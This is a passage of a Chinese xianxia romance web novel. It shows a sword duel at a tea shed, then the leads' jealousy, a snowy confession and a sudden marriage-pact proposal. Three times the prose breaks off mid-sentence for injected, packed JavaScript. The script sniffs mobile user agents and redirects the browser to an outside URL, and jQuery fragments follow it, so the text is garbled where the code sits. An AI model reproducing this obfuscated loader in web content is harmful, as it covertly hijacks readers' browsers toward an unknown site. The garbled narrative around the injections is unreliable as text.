他也做到了。这些年明里暗里死在他手里的渡真子弟共二十三。只不过宋雨阁是格外受“重视”的那个,他又懒得再遮掩真相,事情闹得太大,所以顾九枝才会无法容忍,将他逐出渡真。 顾九枝叹息:“你总认为我渡真世家欠你许多,谢长生,当初若非我渡真世家出手救你,你可知自己根本活不过十六岁。” 谢长生刷的抽剑出鞘,剑光澄澈雪亮,倒映着伞面的红枫与雨中的绿竹。 他怒声道:“谢氏一族被你们一夜屠杀,冽雪山谷的皑皑白雪之下至今还埋葬着数不清的尸骸血肉。顾九枝,你又有何脸面以这区区十年的阳寿来向我讨恩?” 话音落下,剑芒挥洒如星雨,竹枝顿时被削去,满地剑痕。 顾九枝同时出剑格挡,眨眼间两人叮叮当当拆了数招。小小的茶棚下剑意纵横弥漫,杯中清茶被震得泛起阵阵涟漪。 而后,清脆一响,杯子爆裂开来,茶水四溅! 顾九枝出手毫不留情,一招一式皆是杀意弥漫。 谢长生侧头闪过一道剑气,发梢被削掉一缕,散入凄迷的山风冷雨中。 顾九枝没有片刻的犹疑,提剑纵身杀去。两剑迎刃相击,“铛!”的一声重响,火星、雨星,点点交织。谢长生飞身登上一株青竹,借势用力一踩,漫天竹叶飞旋,宽袍大袖迎风飞舞,宛如白鹤,那竹枝当即被他踩得整个弯下去,发出不堪重负的弯扯声。 顾九枝抬眸望去,满目皆是冰冷。 下一秒,柔韧的竹身弯扯到极限,倏忽反弹,带着他朝顾九枝的方向飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799255|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 速纵去。 谢长生手腕翻转,剑身映照清明月色,亮得好像枫林酒馆的那一场大雪。 顾九枝提剑相击,千钧一发之际,却见谢长生手中剑锋蓦地一偏,竟像是寻死而来。她惊骇之下来不及撤手,噗嗤一声,手中长剑刺穿了他的肩头,鲜血泼溅。 一道剑气杀进简陋的茶棚中,木柱被削断成截,茶棚轰然倒塌,烟尘雨花四散。 茶棚老板躲在茅屋里,瑟瑟发抖:“夭寿、夭寿啊!” 谢长生收剑入鞘,肩头的血汩汩涌出,瞬间染透了他雪白的衣衫。 顾九枝下意识去捂住他的伤口,伸出半路的手却被他抬袖拂开,他后撤半步,轻巧地避开了。 剑锋指地,尚在滴血。顾九枝站在原地,缓慢地收回了手。 她身上的宽袍大袖被夜雨浇湿,浑身冰冷。 谢长生的神情平静而冷漠,脸色惨白,却不带一丝痛楚:“这一剑,还你十年的不杀之恩。从此以后,你我恩断义绝,再见面便只有仇恨二字。顾九枝,你是渡真的家主,不是我谢长生的朋友,从今天开始不要再和我扯上半点关系了——想想当年长老院是怎么控制你的,难道你还要过那种生活吗?” 满地的竹枝与剑痕,茶棚倒塌,风灯的灯罩碎了一地。 那一点微弱的烛火摇曳在凄风冷雨中,很快也熄灭了。 顾九枝垂下眼睫:“我当然不要。” “你今日刺我这一剑,可以暂时打消某些人的疑虑,至少他们短时间内不会再烦你了。”谢长生任由冷雨冲刷着伤口,“然后,你去冽雪山谷,我们一起把所有事情都做个了结。” 谢长生的唇边挂着一抹极淡的笑:“再然后,你就自由了。” 顾九枝点点头:“这很好。那你呢。” 黑暗中,谢长生撑起那柄红枫油纸伞,秋雨落在伞面,沙沙轻响。 或许是黑暗与雨幕让他可以暂时抛却理智,也或许是失血带来的眩晕蒙蔽了头脑,他轻声说:“如果你真的只是渡真世家的普通子弟,或许我们之间会不一样。” 或许,谢长生根本并不会认识顾九枝。 或许,谢长生早已死在十六岁的那一年。 顾九枝收剑,苍白的唇颤抖着:“……雪生,你该知道,这世上没有如果。” 谢长生没有说话,片刻后,他才讥讽道:“我是雪生吗?” 顾九枝垂着眼,无言以对。 空气中倏忽传来飒飒风声,那柄红枫油纸伞被他甩了过来,恰好遮在她的头顶。 谢长生开口:“夜深雨冷,你还是快些回去,免得你的师弟师妹们又担心。” 语落,他踩着满地的秋雨竹叶,从山道的另一端快步离开。 山道蜿蜒,鹤羽衣摆在晦暗的月色下一闪,便即消失不见。 顾九枝折返回坍塌的茶摊,在茅屋的窗台上放了一个钱袋。 算是弥补茶棚老板的损失。 一把水墨晕染的油纸伞从身后移过来,遮住她头顶坠落的冷雨。 云山冷声道:“原来师姐当初让他姓顾,就是为了庇护他不被族中之人杀害吗?” 顾九枝闭了闭眼,眼睫上有雨珠坠落。 云山又道:“看来姓顾这么好啊,那我也要姓顾,从此以后我就叫顾云山,如何?” 顾九枝心累:“你不要闹了行吗。” 云山冷哼:“刚才放出的两只心影,只回来了一只。” “另一只呢?” “被人破了。谁破的,不知。”云山低声道,“我早说顾雪庭这小子研制的术法不可用。他从来都是心怀鬼胎,谁知道他偷偷留了什么后手。” 顾九枝拧着眉思索片刻,唇边浮起一抹冷笑:“不必管了。派人进入冽雪山谷,先探一探那里的封印。” “冽雪山昨日刚下雪,大雪封山,恐怕不好进。” 顾九枝抬眸,不轻不重看了他一眼:“只要我想,天底下还没有渡真世家到不了的地方。冽雪山谷十五年前能进,现在依然能进。” 她的衣袖潮湿垂地,手指掐诀,满身的雨水顿时蒸发。大袖飘飞。 天际一轮孤月高悬,冰冷的月色照清她的脸。 她的眼下有乌青,挥不去的疲倦。 78. 吃味 许家庄百姓们的生活总是祥和而幽静。雪絮落下,天地一白,古老的砖木建筑便被染成了黑白两色,满目的孤寂清冷。 村里人多以打猎、挖草药为生,小孩子刚会走路的时候就要学着拉弓、射箭。许雁含从小吃百家饭,学百家技艺,弯弓搭箭的本领并不比那些有经验的老猎户差。 午后的时候,叶清圆散步到了村前田垄。 田垄旁栽着几株杏树,枝桠光秃秃的堆了薄薄一层雪。树下是个简陋的鸡窝,两只肥鸡卧在棚底下打盹。 她沿着耕地间的小道慢慢走,倏忽一声利箭破空的声音,那杏树枝头咔嚓折断,积雪砸在鸡棚上噗的碎开,两只鸡惊得抖开翅膀扑腾起来,察觉到并无危险之后,复又寻了角落眯眼卧下。 叶清圆转眼看去,那一支利箭折断了杏树枝,射在积雪覆盖的泥土中,尾羽仍在嗡嗡颤抖着。 “叶姐姐!” 远处跑来一道身影,细看竟是许雁含。 她的手里还拿着一张弓,脸颊红扑扑的出了汗,眉眼满是笑意。 叶清圆讶异道:“你在练习箭术吗?” 许雁含笑着点头,将手中长弓递给她瞧:“再过几天,叔父伯伯们就要带我一起进山打猎了。说起来,这还是我第二次进山呢。” “可是你看起来不太高兴。”叶清圆伸手帮她拍了拍雪。 许雁含思索道:“还好。我过了年就十六了,我们这里的女子若不是耕田挖草药,便只能在家相夫教子。我从小喜欢到处跑,力气又大,所以他们才肯教我射箭术。” 两人挨着肩慢慢走,足靴踩在雪地上咯吱作响。 许雁含的脸上有点笑意:“上次进山,我射中了一只狐狸。它还小呢,一双乌溜溜的眼睛就那样看着我,我有些不忍心。叔父伯伯们就笑我,说以后多进山几次,慢慢就不会放在心上了。” 叶清圆点点头。其实这种情况分两种。一种是猎杀太多,再看向猎物时就像在看一株草、一朵花,内心毫无波动。另一种就是见多了生死,反倒愈发心生悲悯。 许雁含叹气:“可是我觉得很痛苦。我学箭术一开始是为了混一口饭吃,可是现在看来,我似乎并不适合这一行。他们说几百年来很少有女人做猎户的,因为女人做决定从来都是优柔寡断。” 叶清圆听得眉头大皱:“这之间有什么关系?你不忍心对狐狸下手,恰好说明你有恻隐之心啊,这才是人性。” 她说:“况且,当今修界、俗世都有许多女性做主当家,与那些男人们已有平分秋色之势。女子也可独当一面,男子亦有软弱无能的时候。可见优柔寡断只是性格使然,与是男是女并无关联。” 许雁含听罢以后,亦是沉思良久,试探道:“白璟哥哥说山外很大很有趣,若是……我能走出这里,也可以谋到一份差事吗?” 她神情认真,显然不是临时起意,而是深思熟虑了许久。 看来这段时日与白璟相处聊天,让她对外面的世界充满了好奇。 叶清圆颔首:“当然可以。树挪死人挪活,你聪明又强壮,还懂得箭术,这就是一技之长呀。今后不管走到哪里,你都会生活得很好的。” 许雁含的眼睛霎时亮了:“真的吗?” “是呀,举个例子罢。”叶清圆唇边含笑,眼神温和,“我有一个朋友。” “她很小的时候娘亲就出家修道了,父亲一个人把她拉扯大。父亲平日里处理事务很忙,没空照顾她,又怕她乱跑,就将她关在家里不许出去。府里的仆人都怕她、躲着她,她从小就没有朋友,没人关心,只好每天躲在后花园跟池子里的鱼说话。 “因为常年闷在宅子里,所以身体很弱,脸色苍白得像鬼,动辄头晕,生病。后来长大一点了,又叛逆,学坏,到处欺负别人。其实也不是真的坏,只是好像这样就会吸引人来跟她讲话——虽然听到的也不是什么好话。可是那样让她感觉自己还活着。” 叶清圆轻声讲述着,呼出的白雾交织在眼前。 她仿佛透过这团雾气看到了原身那孤僻阴暗、可恨可怜的前半生。 所以她刚穿越过来时,原身非要代替江云初去山顶妖宅,或许也是宁肯丢掉自己的性命也想换取一点父爱吧。 叶清圆温声道:“后来她离开家乡,和某位公子一起到处捉鬼打怪,见识了许多,也懂得了许多。虽然途中屡次遭险,可每次都能化险为夷。而且她的身体素质越来越好了,以前出个门都累得喘气耳鸣,现在随便跑二里地都不成问题的!” 许雁含笑起来:“你说的这个朋友,是你自己吗?” 叶清圆很认真地看着她:“是我,也不是我。” 她拍了拍许雁含的肩膀:“我的年岁也并没有多大,所以不敢讲有什么人生经验。只是我始终相信,人想要做什么事情,就去做,做差了也没有关系。在得到成功之前,先允许自己失败嘛。” 许雁含静静地看着她,若有所思。 过了一会儿,她试探道:“叶姐姐,我想和你学画符,将来下山除祟驱邪,可以吗?” 叶清圆笑道:“当然可以。这又不是什么秘传。” - 寒冬愈盛,厨房里茶水咕嘟咕嘟,清香的茶雾弥漫蒸腾。 这里的茶说不出名,却自有一种清冽的香味。景致也好,随意挑个地方向周遭一望,就能看到枫树、松树枝上缀满了凌凌白雪,冷风一吹,煞是好看。 她下午散步时从道旁择了一枝白梅,梅花含雪,灵动隽逸。谢尽芜望着她,她眼珠一转,挑了一朵盛开的白梅花,抬手簪在了他的鬓边。 他那张脸本就皙白清隽,鬓边白梅作衬,愈发如冰如雪。 叶清圆左看右看,满意得不得了。 谢尽芜有些吃味地去拉她的手,叶清圆知道他又在闹别扭,笑盈盈地问他:“怎么啦?” 谢尽芜轻声道:“下午去散步了吗?” 为什么不和他一起? 叶清圆挑眉道:“去找雁含妹妹玩啦,你也想去吗?” “不想,”他说,“我给你做了酥蜜饼,等你很久,都没等到。” 自从那次亲吻之后,谢尽芜骨子燃烧的占有欲不仅没能收敛半分,反倒是加重了许多。 叶清圆道:“这样呀,那是我不好了。” 话虽如此说,却没有半点觉得自己“不好”的意思。 谢尽芜垂着眼,好像有些委屈。 叶清圆忍不住笑:“那我现在有点想吃,不知酥蜜饼还有没有呢?” 谢尽芜的眼眸霎时就亮了:“有,都给你留着。” 他去厨房里取出酥蜜饼,还热腾腾的。叶清圆拈着白梅花枝跟过去,像小尾巴一样在他身后。 谢尽芜虽然很想生气,却偏偏很吃她这一套,一下子就被她哄好了,柔声道:“尝一口吗?” 叶清圆就着他的手咬了一小口,就这么不经意的动作,谢尽芜看在眼里却无比满足。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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叶清圆就喜欢买些带图案的小玩意儿,图案太多了,以至于她自己都记不清有些什么。谢尽芜却牢牢记在了脑海里。 她腻在谢尽芜的怀里,抬头小声道:“那下次捏成小猫脸形状的,好不好?” 在撒娇呢。谢尽芜垂着眼,唇角的笑意快要压不住了:“为什么是小猫脸?” 叶清圆一挑眉:“像你。” 又在胡说了。 谢尽芜端着茶杯叫她喝茶,辩解道:“怎样都好。但那不像我。” 他有他的坚守,他怎么可能像小猫。 片刻后,叶清圆都快吃饱了,满足地喟叹一口气。 谢尽芜放下茶杯,也不说话,眼眸湿润地看着叶清圆。 “怎么啦?” 谢尽芜的指腹在她柔嫩的手腕内侧摩挲着,像是有话要说的样子,脸上有些羞赧:“你……方才叫我什么?再叫一次。” “方才?”叶清圆还没反应过来,“我不是一直叫你的大名吗?” “清和?”叶清圆试探道,“是想我唤你的小字吗?” 谢尽芜不给提示,就这么静静地看着她。过了一会儿,叶清圆才像是想起了什么。 她的脸颊蒙上一层红,红润的唇角抿起来,不肯开口了。 谢尽芜哄她:“再叫一声?” 叶清圆:“……不叫。” 谢尽芜有些落寞,退而求其次道:“那抱一下。” “好吧。”叶清圆很矜持地拥抱了他,还未来得及退开,就被谢尽芜紧紧地按在怀中,抱了个满怀。 他轻声问:“晚上想吃什么?” “不太想吃了,不饿。” 谢尽芜道:“不行。我给你煮粥吧,好歹喝一些,小半碗?” 叶清圆想了想,拗不过他,勉为其难道:“好吧。” 79. 酸涩 用过晚膳后,叶清圆就歪在竹藤摇椅里看话本。 室内温暖如春,火炉旁烤着金澄澄的橘子,香气很好闻。 谢尽芜不喜欢看话本也不爱烤火,可他想陪着叶清圆,就挨着她坐下,挑了只温热的橘子给她剥开。 他剥开以后将白色的丝络也挑去了,自己先尝了尝,是甜的,才放心地掰了一瓣喂到叶清圆的嘴边。 叶清圆看得正起劲,他喂过来就张嘴吃。她不怎么留神,湿润的唇瓣有时会吻到他的指尖,谢尽芜的手指连带心脏都忍不住传来麻痹过电的感觉,却也卑劣地不去开口提醒她。 如此吃了六七瓣,叶清圆也没顾得抬头看他一眼。 谢尽芜低头继续剥,闷闷道:“这么好看?” 叶清圆迟钝地听出了他的不对劲,终于抬头:“嗯?” 谢尽芜也看着她,两秒后,又将剥好的橘子送进她嘴里。 叶清圆嚼嚼嚼,合上话本,想了想:“这本书很好看,讲述的是一对恋人历经种种磨难、误会,终成眷属的故事。” 她将话本递给谢尽芜,意味不明地笑道:“你要看吗?” “不感兴趣,不看。”谢尽芜拒绝。 别人的故事有什么好看,他和叶清圆的故事才是最好的。 “看看吧?里面有一些描写,嗯,值得一读。”叶清圆将话本塞进他的手里。 真是乐于分享。 谢尽芜很认真地看了她两秒,又大概翻了翻话本,领会了她的意思,轻声道:“如果你想让我看的是……那种描写,我没有兴趣。这种事我更喜欢是你亲自教我。” 叶清圆的心思被他当场戳破,险些就结巴了:“你、谁、谁要教你这些了?” 她整个人缩在了竹藤摇椅里,泛红的脸颊掩在薄毯中,小声道:“是你自己不正经。” 谢尽芜俯身贴近她,浓秀的眼睫垂下,声音低低柔柔:“之前,不是你教我亲吻要张口的吗?” “谢尽芜!”叶清圆羞得快要跳起来,“你你你你你你!” 她伸手一指:“你的脸皮也太厚了!” 两个人相处就是这样。叶清圆越害羞,越往后缩,谢尽芜的心情就越好,就越会来劲。 他快要压不住唇边的笑意:“清圆,难道连这一点都是书上看来的吗?” 叶清圆被他噎了一下,眨巴着眼,理不直气也壮:“是呀,怎么了?瞧不起我们理论派吗?” “不敢。”谢尽芜将话本子还给她,“你若喜欢,多看一些倒也无妨。” 他眼中带着零星的笑,话中之意,不言而喻。 叶清圆震惊了。 她瞪着他那张清隽皙白的脸,恨不得上手扯一扯,看那脸皮是不是真如城墙一般厚。 她将话本子打开挡住脸,只露出一双眼睛,小声道:“你当时不是还脸红吗?我还以为你对这种事会……有点难以启齿。” “脸红是因为喜欢。”谢尽芜说到此处,竟然不太好意思了,“若你喜欢我多说,那我也可以……” “不必!我根本没有这个意思!” 聊不下去了。谢尽芜这个人,看着闷不吭声的都是害羞劲,其实一肚子坏水。 脸红的是他,胆大妄为的也是他。 叶清圆立刻转移话题:“我我我给你剥个橘子吃好不好?” 谢尽芜还未反应过来,嘴边传来柔软的触感,是叶清圆刚剥好的橘子。 他下意识地就张嘴咬了一口,微凉的橘子汁迸溅在口中。 下一刻,他的眉头抽动起来。 “是不是很甜呢?”叶清圆举起手里的橘子,“我特意挑了个最圆润漂亮的。” 谢尽芜含混地应一声,维持着面上冷静的表情,咽下那酸得好像掺了两斤醋的橘子瓣。 暗自叹息,以后挑选果蔬这种事,还是要他来。 她就这样盖着薄毯,笑意盈盈,在暖炉旁擎等着他来喂就好。 他接过叶清圆手里的那只橘子,委婉道:“这个不要吃了,有些凉,再烤一会。” 叶清圆半信半疑地“哦”了一声,低头看书。 打开一看,好巧不巧就翻到某页,她当场就被入眼的露骨描写羞红了脸。 她啪地将话本子一丢,决然道:“以后我不看这一本了,我要读圣贤书。” 谢尽芜抬眼,好整以暇地看着她:“你的书柜里,好像都是这种。” 情情爱爱、恨海情天。 叶清圆挫败:“人总要有放松消遣的方式嘛。” 谢尽芜点头表示理解,“只要看书,就总是没错的。” “你好贴心。”叶清圆含泪将话本子捡了回来,摊开在腿上,“我这就悬梁刺股,发奋念书,做个理论扎实的好学生。” 看谢尽芜那种什么都不懂的模样,说不准以后实践的时候,还要靠她来引领……叶清圆被自己的想法吓到,慌忙甩了甩脑袋。 谢尽芜却仿佛猜透她的心思。他喉咙微动,纠结了两息,才低声道:“那种事,你若真的想要实践……不准找别人。” 叶清圆一听,惊得险些将纸撕烂。她更深地缩进摇椅中,将薄毯拉高捂住通红的脸颊:“住口吧!” - 炭火温暖,橘子甜香。 暧昧在周遭如水汽般氤氲。 可接下来的好大一会儿,叶清圆都没再抬头看他一眼。 谢尽芜也不知自己是怎么了,胸腔中有股烈火灼烧般的冲动,烧得他坐立不安。 他盯着叶清圆被火光描摹得温柔的侧脸,起身道:“你继续看,我出去走一走。” “好。”叶清圆拉住他的手腕,柔嫩的手心,漂亮的眼睛。 她扬起脸笑道:“早点回来。” 外头天寒地冻,谢尽芜连大氅都没穿,就这么一身单薄衣衫,走去了村落后的疏林中。 靴底踏雪发出轻微的响动。他像往常那样,在许家庄的周遭巡视一圈,顺手解决了几只不成气候的邪祟。 自从心影出现后,许家庄到了夜晚,便总有些凶煞的气息浮现,尤其是夜晚。 谢尽芜循着气息探查过,目光最终定在了枫林掩映的冽雪山谷。 他并非什么都不知道。 顾雪庭,不,谢长生告诉过他很多。 但是,他有私心。 思绪纷乱间,谢尽芜走到了不知谁家院外,院里灯光温暖。 忽听大门“吱呀”,隔着一道院墙,响起了女人的声音:“怎么回来这么晚?雪下得这么厚,那山路又难走,万一出什么意外了,怎么办?” 虽是埋怨的话语,话里却尽是关切和担忧。 那男人闻言,笑得开怀:“担心什么?我还能脚滑摔倒了不成?” 继而又是女人的嗔怪声:“若真是伤了,我才不会管你!” 声音里俱是染了笑意。随后两人进屋,屋门关闭,将两道声音隔绝在内。 谢尽芜站在风雪中,如被定住一般,恍然开悟。 原来男人夜里外出,女人是会担心他的。 可是叶清圆从未对他说过这样的话,也没关心他此刻去了哪里。 反倒是他,总想那么多。 谢尽芜心里燥热难当,有个念头如火球一般在他的胸腔中横冲直撞,他的手指轻微战栗着,站在瑟瑟寒风中也丝毫不觉得冷,反而有要出汗的迹象。 他觉得自己无可救药。 他的占有欲时刻都在作祟,他不想让她出去,也不想看到她对别人笑。她围着火炉看话本时的神情,那样专注认真,为什么不是在看他呢? 她喂来的那一瓣橘子很酸,可他的心里也要酸死了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808530|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>为什么只有他一个人备受煎熬、患得患失? 为什么她对自己都没有占有欲呢? 是不够喜欢吗? 他在冷风中纠结了半个时辰,也没能理出个头绪,反倒更郁闷了。 绕进晴雪院的大门时,正堂竟已熄了灯。 叶清圆睡下了,根本就没等他。 偌大的庭院里,只有墙壁上的辟邪咒文在月下发出清亮的微光。 红梅树下,莹润可爱的雪人张开手臂,露出大大的微笑,仿佛在欢迎他的回来。 真过分,连雪人都在等他呢。 谢尽芜怅然若失地走过去,冷白的手指抚了抚雪人毛茸茸的围脖。 那支雪竹的绒花簪子戴在了雪人的脑袋上,随冷风轻微摆动着。 真漂亮,这雪人莹白可爱,越看越像叶清圆。 只是她的脸颊从来都泛着健康的微红色,手心也温热。捧住他脸颊的时候温柔得好像不管他做什么她也会纵容。 他想将脸埋在她的手心,让她的心里永远只有他一个人。 许久,他轻声开口,像是在与谁交换一个埋藏在心底的秘密、一个无法宣之于口的渴望。 “清圆,你可以永远喜欢我吗?” 冷风拂过,梅枝簌簌抖落了细碎的雪花,飘落在他挺直的鼻梁上。 无人回应他的一腔情愿。 谢尽芜的尾音有些发颤,像是再也克制不住汹涌的心意:“你要永远喜欢我。” 雪花落在他的睫毛,莹然有光。 “最喜欢我。” 皎月冷风,碎雪红梅。 谢尽芜在极致的寂静中缓缓阖眼,耳畔传来自己隆隆的心跳声。 檐下青铜铃响动,发出悠远而灵动的声音。 叶清圆站在二楼的木栏旁,古松的阴影笼罩住她的身躯。 她向下望去。 今夜的月光清亮而温柔,穿过梅枝缝隙,为谢尽芜的脸颊镀上了一层静谧的、皎洁的光。 她分明站在楼上,却置身于漩涡中心。心如擂鼓地旁听了一次隐晦却胆大、克制而隐忍的告白。 谢尽芜垂着颈子站在树下,寥落得像是个贫穷却固执的孩子,小声地恳求着她的喜欢。 他冷冷地在心底质问自己:还不够吗? 他竟是这么贪心的人。亲吻、相拥已经无法满足他骨子里沸腾的占有欲。心底的阴暗面一旦被勾出来,就会像洪水一般将他淹没。 分明白天的时候,她那句“小谢哥哥”已经将他安抚住了的。 可他不知餍足、满心贪婪,得到的越多,想要的反而也越多。 恳求与示弱这种办法目前还有效,他总是能换来她的纵容与柔声细语,有时还能顺理成章地讨个亲吻。 但以后呢? 万一叶清圆对他感到腻烦了该怎么办? 他还有什么手段可以留住她,叫她心甘情愿待在他的身边? 两种情绪在胸腔里疯狂撕扯。一道声音在渴求着她的垂怜与爱意,另一道声音却告诉他干脆将她禁锢在他的山馆中,一劳永逸。 叶清圆垂眼看那道挺拔的身影,心绪纷乱。 她明知他有些缺乏安全感,许多念头和委屈憋在心里不说,可总要想方设法去求证、去缠磨。 说到底,只不过想听她讲一句:“只有你。” 谢尽芜这种人,就算亲他一口也不会老实的。 要亲好多、好多次。 叶清圆转身下楼,靴底踩在雪地上,发出轻微的声音。 她的脸上没有半点笑意,隔着细密的雪帘望向他,轻声唤道:“谢尽芜。” 谢尽芜猛地回过神,一双乌亮殷润的眼眸顿时睁大了,脸上露出难以置信的复杂神情。 她说:“谢尽芜,你是个幼稚的胆小鬼。” 80. 关系 谢尽芜没说话。 羞耻与惊骇交织之下,他直接傻在了原地,眼都不眨地看着叶清圆一步一步地向他走来。 她的神情从未像此刻这样严肃过,目光雪亮如利剑,仿佛下一秒就要刺穿他的心口。 他听到自己浑身血液倒流的声音,手开始控制不住地发冷。 他终于迎来了梦醒的那一刻,他会听到她满含厌恨与憎恶的声音,讥讽他的痴心妄想、得寸进尺。 世上不会再有人对他好。这不是早已既定的事实吗? 流光山馆被火烧穿了,他的父母葬身漫山的火海之中。溪边的那处茅草屋也荒废了,哑巴的尸体喂了鱼,楚姨悬梁自尽在那棵枣树,他流浪了足足两年,好不容易和雪球成为了朋友,雪球又被人下毒而死。 就连曾立于万人之上的希夷殿,也会被世家联合剿灭。 世间好物不牢靠,彩云易散琉璃脆。 与叶清圆的这段情,于他而言美好得就像毒物上的那层糖霜,好得让他不敢相信。他既渴望,却又踌躇着不敢再进一步。 他垂下眼睫,神情麻木得就像是尚未被宣判、却早已预知前路的囚徒。 意料之外地,叶清圆却好像根本没听到他方才说的话。 她握住了他的手,脸上隐隐地有些怒意:“大冷天的跑出去这么久,都不知道要穿厚点吗?” 谢尽芜垂着眼怔怔看她,一时说不出话来。 叶清圆故作生气地瞪了他一会儿。她抬手,温热的手心贴在他冻得冰冷的脸颊上,狠狠揉了揉。 这次真的使了很大力气,谢尽芜清隽皙白的脸肉被她蹂.躏得变形,可是他骨相皮相都生得太好,被她这样揉捏竟也不丑,反倒有几分叫她无可奈何的呆笨。 “把自己冻坏了怎么办?”叶清圆恨铁不成钢,“我这么喜欢你,你若是生病了,我会心疼的知道吗?” 谢尽芜犹疑着握住了她的两只手,大掌很轻松地将她的手包裹在内。 他的嗓音发涩,带着视死如归的坚定:“你听到了吗?” “你是说那几句不知所云的话吗?”叶清圆挑着眉,脸上还是没笑意,“听到了。” 然后呢?为什么脸色这样冷? 谢尽芜的唇抿了抿,眼眶顿时红了:“你什么意思?” “你什么意思?谢尽芜,你觉得我们现在是什么关系?”叶清圆脆声道,“好好想,说错了我就再也不理你了。” 谢尽芜真的想了想,却不敢说,怕说错。 叶清圆绕着他走到雪人身前,轻声道:“陌生人?朋友?敌人?” 她每说一个词,谢尽芜脸上的难过就深一分,到最后竟是隐忍着险些掉泪的模样。 叶清圆看着他,无奈道:“还是恋人?” 谢尽芜的眼睫蓦地抬起来。 叶清圆也顾不得什么害羞不害羞了,干脆道:“分明上午刚亲过,刚才还聊了那么、那么……的话,此刻你就犹豫了。谢尽芜,我是那样亲过就不负责的人吗?让你这么患得患失?” 谢尽芜没说话,仿佛被巨大的惊喜砸中了却还回不过神来。 叶清圆瞪着他,凶巴巴道:“还是你自己就是这样不负责的人?亲过就不管人家了?” 谢尽芜急忙否认:“我不是!” 他的气息颤抖,焦急得就像是要将自己的一颗心都剖出来给她看:“我只想要你一个人,永远都只要你。” 叶清圆的心口蓦地发烫,她踮起脚,手臂环住他的肩颈:“那到底为什么会这样?是因为下午没有叫你小谢哥哥吗?你若喜欢听,我以后天天这样叫你,好不好?” 谢尽芜难以自控地紧紧拥住她,脸颊埋在她的鬓发,含着水雾的眼眶酸涩不堪。 他闷声道:“那你会永远喜欢我吗?” 叶清圆抬手摸了摸他的脑袋,终于笑了:“会。” 她看着谢尽芜的眼睛,很认真、很真挚地把他的话重复了一遍:“永远喜欢你,最喜欢你。” 谢尽芜眼里的泪珠一下子滚了出来,珍珠似的,在月亮下莹莹有光。 叶清圆慌了神。都这么哄着他了,他怎么还掉泪? 谢尽芜望她,掌心拢着她的手,慢慢地放在自己的心口。 他说:“那我们结契吧。” 说完,还学着她哄他的语气,在后面加了句:“好不好?” 叶清圆当场就懵了:“……啊?” 谢尽芜执拗地握着她的手:“不是说永远喜欢我吗?我们结契。” 叶清圆信心满满地来教育他一顿,反倒被他打了个措手不及,结巴道:“这、这好像有点突然呀。” 谢尽芜的心一下子提到了嗓子眼:“原来你刚才说的话都是随口哄我的吗?” 叶清圆连忙摇头道:“不是不是!我就是没做好准备。” 她这下彻底明白了。谢尽芜这个人敏感又强势,若是一直冷着他,他就在那里胡思乱想、患得患失,逼得她心软无奈。 但只要哄他一分,他就非要进三分才肯满足。 叶清圆还是觉得这个提议很突然:“结契应该很麻烦吧。” “不麻烦,”谢尽芜连忙道,“我知道该怎么做。你放心,一切都交给我。” 他的聪明劲在这种时候又用上了,“还是说,你比较喜欢俗世的那种婚仪?” 叶清圆其实没多大讲究,可是她的直觉告诉她,千万不可以说“无所谓”、“都可以”之类的话,否则谢尽芜怕不是又以为她在敷衍他。 她想了个讨巧的说法:“都喜欢,只要是和你,怎么样都好。” 谢尽芜果然被她哄得眉目舒展:“那我们两个都办。” 叶清圆:“啊?” “冽雪山谷对外封闭,我们就在这里先结契。”谢尽芜一瞬间就有了方案,“等到明年春天,我们再回去初阳镇,征得你父母的同意,办一场最热闹的婚礼。” 他想了想,又补充:“好吗?” “这……”叶清圆犹疑了一瞬,“已经结过契了,又何谈征求父母的同意呢?” 况且,那也不是她的亲生父母。 原身叶清圆自小就爹不疼娘不爱,她穿越过来之后,继承了原身的感受与记忆,对叶肃和江尚绵也只是畏惧和疏离。 在叶清圆的心目中,其实对这便宜爹娘没有什么亲情归属感的。 谁知,谢尽芜竟想得都不知歪哪里去了,小声道:“结契之后,若你不想,要等到婚仪礼成,我也不会……你放心,我会很尊重你的想法。” 叶清圆被他搞得脑袋都蒙了:“什么?我不是这个意思。” 她只是觉得先斩后奏这一招,不知会让叶肃和江尚眠作何感想。 谢尽芜抬起眼,眼眸亮亮地看着她。 叶清圆想了一会儿,还是觉得结契这种事来得太过突然,她委婉道:“要不,我们再缓一段时日吧?哪有刚相恋就忙着结契的,至少要相处一段时间呀。” 就像现代社会谈恋爱一样,两人至少要相处着磨合一段时间,互相之间都做好了充足的准备,才能走到谈婚论嫁的地步。 她的年龄放在现实社会充其量也就是个大学新生,这恋爱谈了还没多久就忙着结契,属实是超乎她的承受范围了。 谢尽芜看她神色纠结,一会抠手指一会玩头发,眼中的星光渐渐就黯淡下去了。 “你不愿和我结契吗?” 叶清圆纠正:“并非不愿,而是太突然了。” 谢尽芜道:“情之所至,水到渠成,有何突然?” 这怎么跟你解释呢? “还是你另有别的选择,想要再观望一阵?”谢尽芜思及这种可能性,脸色马上就白了,颤声道,“是谁?” 叶清圆瞠目:“没有哇!”不要虚空索敌好吗! 她抱住谢尽芜的肩颈:“再过一段时间好吗?” 谢尽芜说不好。 “既然互相喜欢,为什么不结契?我们甚至都亲吻过这么多次了,为什么你还要我等?” 